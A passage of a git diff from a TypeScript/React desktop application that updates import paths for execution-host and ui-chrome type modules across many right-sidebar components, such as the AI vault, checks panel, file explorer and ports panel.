AiVaultSession } from '../../../../../../shared/ai-vault/contracts/ai-vault-types' import { aiVaultSessionLogFilePath } from '../../../../../../shared/ai-vault/session-display/ai-vault-session-log-resource' import '../../../../../../shared/ai-vault/contracts/ai-vault-session-deletion' diff --git a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-in-chat-launch.ts b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-in-chat-launch.ts index fac5f59c14c..70e5fc304d7 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-in-chat-launch.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-in-chat-launch.ts @@ -1,6 +1,6 @@ import { toast } from 'sonner' -import { parseRoutableExecutionHostId } from '../../../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import { parseRoutableExecutionHostId } from '../../../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' import { useAppStore } from '@/store/index' import { agentLabel } from '../../../../../../shared/ai-vault/session-display/ai-vault-session-filters' diff --git a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-in-chat-workspace.ts b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-in-chat-workspace.ts index 57e616418ce..d8c7170b6e9 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-in-chat-workspace.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-in-chat-workspace.ts @@ -7,7 +7,7 @@ import { import { resolveStructuredAgentSessionOwner } from '@/runtime/native-chat/session-ownership/structured-agent-session-owner' import { useAppStore } from '@/store/index' import type { AiVaultSession } from '../../../../../../shared/ai-vault/contracts/ai-vault-types' -import { normalizeExecutionHostId } from '../../../../../../shared/execution-host' +import { normalizeExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { adoptsCliConversations, CLI_CONVERSATION_ADOPTING_AGENTS diff --git a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-in-chat.ts b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-in-chat.ts index 7bc3dc5fec8..726def894c3 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-in-chat.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-in-chat.ts @@ -3,7 +3,7 @@ import { isAntigravityReferenceSession } from '../../../../../../shared/agent-se import { isWslStoredAiVaultSessionFile } from '../../../../../../shared/ai-vault/resume/ai-vault-resume-target' import { normalizeRuntimePathForComparison } from '../../../../../../shared/file-access/cross-platform-path' -import { parseRoutableExecutionHostId } from '../../../../../../shared/execution-host' +import { parseRoutableExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { adoptsCliConversations } from '../../../../../../shared/agent-session/view/structured-agent-cli-conversation-adoption' import { isAiVaultSessionResumableContent, diff --git a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/use-ai-vault-resume-catalogs.ts b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/use-ai-vault-resume-catalogs.ts index 1477979d07b..b096ac89e6d 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/use-ai-vault-resume-catalogs.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/use-ai-vault-resume-catalogs.ts @@ -7,7 +7,7 @@ import { parseRoutableExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostScope -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { lastVerifiedRuntimeStatus } from '../../../../../../shared/remote-runtime/host-status/runtime-host-status' import { loadHostStructuredAgents } from '@/runtime/native-chat/agent-catalogs/host-structured-agents' import { diff --git a/src/renderer/src/components/right-sidebar/ai-vault/session-list/AiVaultSessionSubagents.tsx b/src/renderer/src/components/right-sidebar/ai-vault/session-list/AiVaultSessionSubagents.tsx index 9293de84acb..dee7e3188a5 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/session-list/AiVaultSessionSubagents.tsx +++ b/src/renderer/src/components/right-sidebar/ai-vault/session-list/AiVaultSessionSubagents.tsx @@ -18,7 +18,7 @@ import { type AiVaultSession, type AiVaultSubagentRunStatus } from '../../../../../../shared/ai-vault/contracts/ai-vault-types' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host/execution-host' import { canOpenAiVaultSessionLogInOrca } from '../session-actions/ai-vault-session-path-actions' import { openAiVaultSessionLogInOrca } from '../session-actions/ai-vault-session-log-open' import { useTranslate } from '@/i18n/use-translate' diff --git a/src/renderer/src/components/right-sidebar/ai-vault/session-list/ai-vault-first-prompt-card.tsx b/src/renderer/src/components/right-sidebar/ai-vault/session-list/ai-vault-first-prompt-card.tsx index d30dcfe13a8..76c7b3a76f2 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/session-list/ai-vault-first-prompt-card.tsx +++ b/src/renderer/src/components/right-sidebar/ai-vault/session-list/ai-vault-first-prompt-card.tsx @@ -6,7 +6,7 @@ import { Button } from '@/components/ui/button' import { translate } from '@/i18n/i18n' import { useTranslate, type Translate } from '@/i18n/use-translate' import type { AiVaultSession } from '../../../../../../shared/ai-vault/contracts/ai-vault-types' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host/execution-host' import type { AiVaultSessionPromptPreview } from '../../../../../../shared/ai-vault/session-display/ai-vault-session-display' // Main-process reparsing has no deadline; cap loading for huge or stalled transcripts. diff --git a/src/renderer/src/components/right-sidebar/checks-panel/refresh/hosted-review-manual-refresh.ts b/src/renderer/src/components/right-sidebar/checks-panel/refresh/hosted-review-manual-refresh.ts index 29f81d37dd5..a8f2d324cd6 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/refresh/hosted-review-manual-refresh.ts +++ b/src/renderer/src/components/right-sidebar/checks-panel/refresh/hosted-review-manual-refresh.ts @@ -1,5 +1,5 @@ import { useCallback, useState } from 'react' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { HostedReviewProvider } from '../../../../../../shared/source-control/hosted-review/hosted-review-contracts' import { useAppStore } from '@/store/index' import { latestLookupGeneration } from '@/store/slices/hosted-review/refresh/lookup-generation-sequence' diff --git a/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-conflict-refresh.tsx b/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-conflict-refresh.tsx index 3a1e9f5144c..365f735812c 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-conflict-refresh.tsx +++ b/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-conflict-refresh.tsx @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { useEffect } from 'react' import type { ChecksPanelControllerState } from '../panel/use-checks-panel-controller-state' diff --git a/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-entry-refresh-and-title-actions.tsx b/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-entry-refresh-and-title-actions.tsx index 383565efc48..defcbda62d0 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-entry-refresh-and-title-actions.tsx +++ b/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-entry-refresh-and-title-actions.tsx @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { forgeOwnerHostIdForWorkspace } from '@/runtime/source-control/forge/forge-credential-target' import { gitLabApiFor } from '@/runtime/repository-gitlab/gitlab-owner-api' import React, { useCallback, useEffect, useRef } from 'react' diff --git a/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-git-status-effects.tsx b/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-git-status-effects.tsx index 261cfafa46b..48081faefc2 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-git-status-effects.tsx +++ b/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-git-status-effects.tsx @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { useEffect, useRef } from 'react' import { getRuntimeGitStatus } from '@/runtime/source-control/git/runtime-git-status-client' import { getRuntimeGitUpstreamStatus } from '@/runtime/source-control/git/runtime-git-sync-client' diff --git a/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-manual-refresh.tsx b/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-manual-refresh.tsx index 8f886140179..cacd10481e4 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-manual-refresh.tsx +++ b/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-manual-refresh.tsx @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { useCallback } from 'react' import { useAppStore } from '@/store/index' import { buildGitHubPRRefreshStateClearToken } from '@/store/github/refresh/pr-refresh-state' diff --git a/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-polling.tsx b/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-polling.tsx index 5eee37be6fe..89390b47611 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-polling.tsx +++ b/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-polling.tsx @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { useChecksDetailTimer } from './use-checks-detail-timer' import { ChecksDetailPollingPolicy, diff --git a/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-terminal-worktree.ts b/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-terminal-worktree.ts index d1a8b061ed9..77638ab8959 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-terminal-worktree.ts +++ b/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-terminal-worktree.ts @@ -9,7 +9,7 @@ import { parseAppSshPtyId } from '../../../../../../shared/remote-runtime/ssh/ss import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { Worktree } from '../../../../../../shared/worktree/types' import { resolveChecksPanelTerminalPtyId, diff --git a/src/renderer/src/components/right-sidebar/checks-panel/review-actions/use-checks-panel-check-and-review-actions.tsx b/src/renderer/src/components/right-sidebar/checks-panel/review-actions/use-checks-panel-check-and-review-actions.tsx index d4b8576a42a..d3271fb5899 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/review-actions/use-checks-panel-check-and-review-actions.tsx +++ b/src/renderer/src/components/right-sidebar/checks-panel/review-actions/use-checks-panel-check-and-review-actions.tsx @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { forgeOwnerHostIdForWorkspace } from '@/runtime/source-control/forge/forge-credential-target' import React, { useCallback } from 'react' import { toast } from 'sonner' diff --git a/src/renderer/src/components/right-sidebar/checks-panel/review-actions/use-checks-panel-generation.tsx b/src/renderer/src/components/right-sidebar/checks-panel/review-actions/use-checks-panel-generation.tsx index 852cf06c356..81f93f670ff 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/review-actions/use-checks-panel-generation.tsx +++ b/src/renderer/src/components/right-sidebar/checks-panel/review-actions/use-checks-panel-generation.tsx @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getWorkspaceJiraIssueKey } from '../../../../../../shared/jira/jira-review-title' import { useCallback } from 'react' import type { PullRequestGenerationOutcome } from '../../hosted-review/creation/create-pull-request-dialog-field-model' diff --git a/src/renderer/src/components/right-sidebar/checks-panel/review-data/checks-panel-forge-owner.ts b/src/renderer/src/components/right-sidebar/checks-panel/review-data/checks-panel-forge-owner.ts index 0c7d63f9abe..06fe43ba66f 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/review-data/checks-panel-forge-owner.ts +++ b/src/renderer/src/components/right-sidebar/checks-panel/review-data/checks-panel-forge-owner.ts @@ -1,4 +1,4 @@ -import { toRuntimeExecutionHostId } from '../../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' import { selectExecutionHostDisplayLabel } from '@/runtime/hosts/display/execution-host-display-label' import { forgeCredentialTarget } from '@/runtime/source-control/forge/forge-credential-target' diff --git a/src/renderer/src/components/right-sidebar/checks-panel/review-data/use-checks-panel-review-data.tsx b/src/renderer/src/components/right-sidebar/checks-panel/review-data/use-checks-panel-review-data.tsx index dd649742ff5..f129d2a487d 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/review-data/use-checks-panel-review-data.tsx +++ b/src/renderer/src/components/right-sidebar/checks-panel/review-data/use-checks-panel-review-data.tsx @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { useCallback, useEffect } from 'react' import { checksPanelAsyncResultKey } from '../refresh/checks-panel-async-result-key' import { loadGitLabJobLogDetails } from '@/runtime/repository-gitlab/gitlab-job-trace-client' diff --git a/src/renderer/src/components/right-sidebar/file-explorer/navigation/file-explorer-add-project-action.ts b/src/renderer/src/components/right-sidebar/file-explorer/navigation/file-explorer-add-project-action.ts index a442e9b1977..2afff9fc564 100644 --- a/src/renderer/src/components/right-sidebar/file-explorer/navigation/file-explorer-add-project-action.ts +++ b/src/renderer/src/components/right-sidebar/file-explorer/navigation/file-explorer-add-project-action.ts @@ -2,7 +2,7 @@ import { isFolderRepo } from '../../../../../../shared/repository/repo-kind' import { getRepoExecutionHostId, parseExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../../shared/repository/repo-types' import type { TreeNode } from '../tree/file-explorer-types' diff --git a/src/renderer/src/components/right-sidebar/file-explorer/navigation/file-explorer-operation-owner.ts b/src/renderer/src/components/right-sidebar/file-explorer/navigation/file-explorer-operation-owner.ts index 84faf46be08..9b3212eb95e 100644 --- a/src/renderer/src/components/right-sidebar/file-explorer/navigation/file-explorer-operation-owner.ts +++ b/src/renderer/src/components/right-sidebar/file-explorer/navigation/file-explorer-operation-owner.ts @@ -13,7 +13,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { HostAuthority } from '../../../../../../shared/execution-host/host-authority' import { translate } from '@/i18n/i18n' import { diff --git a/src/renderer/src/components/right-sidebar/file-explorer/navigation/file-explorer-reset.ts b/src/renderer/src/components/right-sidebar/file-explorer/navigation/file-explorer-reset.ts index 6da237e04a3..47753671571 100644 --- a/src/renderer/src/components/right-sidebar/file-explorer/navigation/file-explorer-reset.ts +++ b/src/renderer/src/components/right-sidebar/file-explorer/navigation/file-explorer-reset.ts @@ -1,4 +1,4 @@ -import type { RightSidebarExplorerView } from '../../../../../../shared/ui-chrome-types' +import type { RightSidebarExplorerView } from '../../../../../../shared/ui-chrome/ui-chrome-types' export function getVisibleFileExplorerWorktreePath({ explorerView, diff --git a/src/renderer/src/components/right-sidebar/file-explorer/panel/FileExplorerQueryStrip.tsx b/src/renderer/src/components/right-sidebar/file-explorer/panel/FileExplorerQueryStrip.tsx index e9a20b71cdb..632290ee2d3 100644 --- a/src/renderer/src/components/right-sidebar/file-explorer/panel/FileExplorerQueryStrip.tsx +++ b/src/renderer/src/components/right-sidebar/file-explorer/panel/FileExplorerQueryStrip.tsx @@ -1,7 +1,7 @@ import React, { useRef } from 'react' import { flushSync } from 'react-dom' import { FileExplorerViewSwitch } from './FileExplorerViewSwitch' -import type { RightSidebarExplorerView } from '../../../../../../shared/ui-chrome-types' +import type { RightSidebarExplorerView } from '../../../../../../shared/ui-chrome/ui-chrome-types' type FileExplorerQueryStripProps = { view: RightSidebarExplorerView diff --git a/src/renderer/src/components/right-sidebar/file-explorer/panel/FileExplorerViewSwitch.tsx b/src/renderer/src/components/right-sidebar/file-explorer/panel/FileExplorerViewSwitch.tsx index d01ed396a85..9db83e1b9ed 100644 --- a/src/renderer/src/components/right-sidebar/file-explorer/panel/FileExplorerViewSwitch.tsx +++ b/src/renderer/src/components/right-sidebar/file-explorer/panel/FileExplorerViewSwitch.tsx @@ -1,7 +1,7 @@ import type React from 'react' import { useTranslate } from '@/i18n/use-translate' import { ToggleGroup, ToggleGroupItem } from '@/components/ui/toggle-group' -import type { RightSidebarExplorerView } from '../../../../../../shared/ui-chrome-types' +import type { RightSidebarExplorerView } from '../../../../../../shared/ui-chrome/ui-chrome-types' type FileExplorerViewSwitchProps = { view: RightSidebarExplorerView diff --git a/src/renderer/src/components/right-sidebar/file-explorer/panel/file-explorer-row-file-transfer.ts b/src/renderer/src/components/right-sidebar/file-explorer/panel/file-explorer-row-file-transfer.ts index f27f5b47baa..1e3b7991693 100644 --- a/src/renderer/src/components/right-sidebar/file-explorer/panel/file-explorer-row-file-transfer.ts +++ b/src/renderer/src/components/right-sidebar/file-explorer/panel/file-explorer-row-file-transfer.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host/execution-host' import { toast } from 'sonner' import { translate } from '@/i18n/i18n' import { extractIpcErrorMessage } from '@/runtime/errors/ipc-error' diff --git a/src/renderer/src/components/right-sidebar/file-explorer/tree/FileExplorerFilesTreePane.tsx b/src/renderer/src/components/right-sidebar/file-explorer/tree/FileExplorerFilesTreePane.tsx index eec4674309f..168d8131359 100644 --- a/src/renderer/src/components/right-sidebar/file-explorer/tree/FileExplorerFilesTreePane.tsx +++ b/src/renderer/src/components/right-sidebar/file-explorer/tree/FileExplorerFilesTreePane.tsx @@ -7,7 +7,7 @@ import { cn } from '@/lib/class-names' import { useTranslate } from '@/i18n/use-translate' import type { RuntimeFileListState } from '@/components/quick-open-file-list' import type { Repo } from '../../../../../../shared/repository/repo-types' -import type { RightSidebarExplorerView } from '../../../../../../shared/ui-chrome-types' +import type { RightSidebarExplorerView } from '../../../../../../shared/ui-chrome/ui-chrome-types' import { FileExplorerTreeStatus } from './FileExplorerTreeStatus' import { FileExplorerVirtualRows } from '../panel/FileExplorerVirtualRows' import { canShowAddAsProjectAction } from '../navigation/file-explorer-add-project-action' diff --git a/src/renderer/src/components/right-sidebar/file-explorer/tree/file-explorer-types.ts b/src/renderer/src/components/right-sidebar/file-explorer/tree/file-explorer-types.ts index 6435fa3c75c..d6058723213 100644 --- a/src/renderer/src/components/right-sidebar/file-explorer/tree/file-explorer-types.ts +++ b/src/renderer/src/components/right-sidebar/file-explorer/tree/file-explorer-types.ts @@ -1,6 +1,6 @@ import type { Dispatch, SetStateAction } from 'react' import type { UserOpenedPathStat } from '@/lib/files/access/user-opened-local-path' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { DirEntryCursor } from '../../../../../../shared/file-listing/file-dir-page' export type FileExplorerOperationOwner = diff --git a/src/renderer/src/components/right-sidebar/file-explorer/watching/file-explorer-refresh-concurrency.ts b/src/renderer/src/components/right-sidebar/file-explorer/watching/file-explorer-refresh-concurrency.ts index bddefa283fe..716cc1d1fc2 100644 --- a/src/renderer/src/components/right-sidebar/file-explorer/watching/file-explorer-refresh-concurrency.ts +++ b/src/renderer/src/components/right-sidebar/file-explorer/watching/file-explorer-refresh-concurrency.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { FileExplorerOperationOwner } from '../tree/file-explorer-types' export const FILE_EXPLORER_LOCAL_REFRESH_CONCURRENCY = 16 diff --git a/src/renderer/src/components/right-sidebar/folder-workspaces/folder-workspace-attached-worktrees.ts b/src/renderer/src/components/right-sidebar/folder-workspaces/folder-workspace-attached-worktrees.ts index 032cd151194..b84bbe1862f 100644 --- a/src/renderer/src/components/right-sidebar/folder-workspaces/folder-workspace-attached-worktrees.ts +++ b/src/renderer/src/components/right-sidebar/folder-workspaces/folder-workspace-attached-worktrees.ts @@ -1,5 +1,8 @@ import { isWorktreeRetiredByRemoval } from '../../../../../shared/worktree/removal/removal-visibility' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { folderWorkspaceKey, parseWorkspaceKey diff --git a/src/renderer/src/components/right-sidebar/folder-workspaces/folder-workspace-empty-state.tsx b/src/renderer/src/components/right-sidebar/folder-workspaces/folder-workspace-empty-state.tsx index 358aaa41068..950639814cb 100644 --- a/src/renderer/src/components/right-sidebar/folder-workspaces/folder-workspace-empty-state.tsx +++ b/src/renderer/src/components/right-sidebar/folder-workspaces/folder-workspace-empty-state.tsx @@ -8,7 +8,7 @@ import { findIndexedProjectGroupOwner } from '@/lib/workspace/ownership/worktree import { getRepoExecutionHostId, getSshTargetIdForExecutionHost -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../../../shared/folder-workspaces/folder-workspace-types' import { getFolderSourceRepos } from '../../../../../shared/folder-workspaces/folder-workspace-source-repos' import { diff --git a/src/renderer/src/components/right-sidebar/folder-workspaces/folder-workspace-repo-worktree-create.ts b/src/renderer/src/components/right-sidebar/folder-workspaces/folder-workspace-repo-worktree-create.ts index 9aeeef2adc6..3b1a9a8ca7a 100644 --- a/src/renderer/src/components/right-sidebar/folder-workspaces/folder-workspace-repo-worktree-create.ts +++ b/src/renderer/src/components/right-sidebar/folder-workspaces/folder-workspace-repo-worktree-create.ts @@ -5,7 +5,7 @@ import { getRepoWorkspaceCreationTargetHint } from '@/lib/workspace/creation/pro import { runtimeTargetSupportsCapability } from '@/runtime/rpc/compatibility/runtime-target-capability' import { runtimeRpcTargetForAuthorityKey } from '@/runtime/rpc/targets/runtime-client-target' import { useAppStore } from '@/store/index' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { WORKTREE_CREATE_EXACT_NAME_TAKEN_CODE } from '../../../../../shared/new-workspace/worktree-create-collision' import { hasRuntimeRpcErrorCode } from '../../../../../shared/remote-runtime/rpc/runtime-rpc-error-code' import { WORKTREE_CREATE_EXACT_NAME_RUNTIME_CAPABILITY } from '../../../../../shared/remote-runtime/protocol/worktree-runtime-capabilities' diff --git a/src/renderer/src/components/right-sidebar/hosted-review/creation/use-create-pull-request-base-ref-discovery.ts b/src/renderer/src/components/right-sidebar/hosted-review/creation/use-create-pull-request-base-ref-discovery.ts index 62f1d4ba067..d5a8b673f9c 100644 --- a/src/renderer/src/components/right-sidebar/hosted-review/creation/use-create-pull-request-base-ref-discovery.ts +++ b/src/renderer/src/components/right-sidebar/hosted-review/creation/use-create-pull-request-base-ref-discovery.ts @@ -3,7 +3,7 @@ import { useSourceControlScope } from '../../source-control/panel/worktree-scope import { translate } from '@/i18n/i18n' import { useEffect, useState, type Dispatch, type SetStateAction } from 'react' import { findRepoForHost } from '@/store/repos/repo-host-identity' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getRuntimeRepoBaseRefDefault, searchRuntimeRepoBaseRefDetails diff --git a/src/renderer/src/components/right-sidebar/hosted-review/folder-checks/parent-pr-checks-github-pr-cache.ts b/src/renderer/src/components/right-sidebar/hosted-review/folder-checks/parent-pr-checks-github-pr-cache.ts index 4151e1d394e..1a12e815d61 100644 --- a/src/renderer/src/components/right-sidebar/hosted-review/folder-checks/parent-pr-checks-github-pr-cache.ts +++ b/src/renderer/src/components/right-sidebar/hosted-review/folder-checks/parent-pr-checks-github-pr-cache.ts @@ -6,7 +6,7 @@ import { isGitHubPRSuppressed } from '../../../../../../shared/worktree/hosted-r import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { isCachedMergedBranchPRCurrentForWorktree } from '@/components/sidebar/workspace-card/review/worktree-card-pr-display' import type { AppState } from '@/store/types' import { diff --git a/src/renderer/src/components/right-sidebar/hosted-review/provider-actions/hosted-review-github-actions.ts b/src/renderer/src/components/right-sidebar/hosted-review/provider-actions/hosted-review-github-actions.ts index 3b497175bb4..6a92cf3145a 100644 --- a/src/renderer/src/components/right-sidebar/hosted-review/provider-actions/hosted-review-github-actions.ts +++ b/src/renderer/src/components/right-sidebar/hosted-review/provider-actions/hosted-review-github-actions.ts @@ -6,7 +6,7 @@ import type { Repo } from '../../../../../../shared/repository/repo-types' import { getRepoExecutionHostId, parseExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { GITHUB_MARK_PR_READY_RUNTIME_CAPABILITY, GITHUB_MARK_PR_READY_UPDATE_REQUIRED_MESSAGE diff --git a/src/renderer/src/components/right-sidebar/hosted-review/provider-actions/hosted-review-gitlab-actions.ts b/src/renderer/src/components/right-sidebar/hosted-review/provider-actions/hosted-review-gitlab-actions.ts index d4857fa0fc5..f65ab0c5b7d 100644 --- a/src/renderer/src/components/right-sidebar/hosted-review/provider-actions/hosted-review-gitlab-actions.ts +++ b/src/renderer/src/components/right-sidebar/hosted-review/provider-actions/hosted-review-gitlab-actions.ts @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../../shared/repository/repo-types' import { gitLabApiFor } from '@/runtime/repository-gitlab/gitlab-owner-api' diff --git a/src/renderer/src/components/right-sidebar/hosted-review/provider-actions/use-hosted-review-actions.ts b/src/renderer/src/components/right-sidebar/hosted-review/provider-actions/use-hosted-review-actions.ts index 7afe9681095..4c10dc1a084 100644 --- a/src/renderer/src/components/right-sidebar/hosted-review/provider-actions/use-hosted-review-actions.ts +++ b/src/renderer/src/components/right-sidebar/hosted-review/provider-actions/use-hosted-review-actions.ts @@ -1,5 +1,5 @@ import { gitLabApiFor } from '@/runtime/repository-gitlab/gitlab-owner-api' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { useCallback, useState } from 'react' import { toast } from 'sonner' import { useConfirmationDialog } from '@/components/confirmation-dialog-context' diff --git a/src/renderer/src/components/right-sidebar/plugin-panels/use-installed-plugin-route-reconciliation.ts b/src/renderer/src/components/right-sidebar/plugin-panels/use-installed-plugin-route-reconciliation.ts index 6c40a056236..6043c4e655b 100644 --- a/src/renderer/src/components/right-sidebar/plugin-panels/use-installed-plugin-route-reconciliation.ts +++ b/src/renderer/src/components/right-sidebar/plugin-panels/use-installed-plugin-route-reconciliation.ts @@ -1,7 +1,7 @@ import { useEffect } from 'react' import { isPluginPanelTabKey } from '../../../../../shared/plugins/manifest/plugin-manifest' import type { PluginPanelsFetchStatus } from '@/store/plugins/catalog/plugin-contribution-catalog' -import type { ActiveRightSidebarTab } from '../../../../../shared/ui-chrome-types' +import type { ActiveRightSidebarTab } from '../../../../../shared/ui-chrome/ui-chrome-types' /** Persists removal only after the authoritative installed list is ready. */ export function useInstalledPluginRouteReconciliation(input: { diff --git a/src/renderer/src/components/right-sidebar/ports/host-scoped-ports-panel.tsx b/src/renderer/src/components/right-sidebar/ports/host-scoped-ports-panel.tsx index cba68cab5a8..1af9124fd6e 100644 --- a/src/renderer/src/components/right-sidebar/ports/host-scoped-ports-panel.tsx +++ b/src/renderer/src/components/right-sidebar/ports/host-scoped-ports-panel.tsx @@ -14,7 +14,7 @@ import type { WorkspacePort, WorkspacePortHostScanResult } from '../../../../../shared/workspace/ports/workspace-ports' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' import { useTranslate } from '@/i18n/use-translate' import { LocalPortSection } from './local-port-section' diff --git a/src/renderer/src/components/right-sidebar/ports/ports-panel-host.ts b/src/renderer/src/components/right-sidebar/ports/ports-panel-host.ts index b21afda45ff..ed131572fd0 100644 --- a/src/renderer/src/components/right-sidebar/ports/ports-panel-host.ts +++ b/src/renderer/src/components/right-sidebar/ports/ports-panel-host.ts @@ -9,7 +9,7 @@ import { import { isRuntimeOwnedSshTargetId, parseExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { authorityKey, parseHostAuthorityKey, diff --git 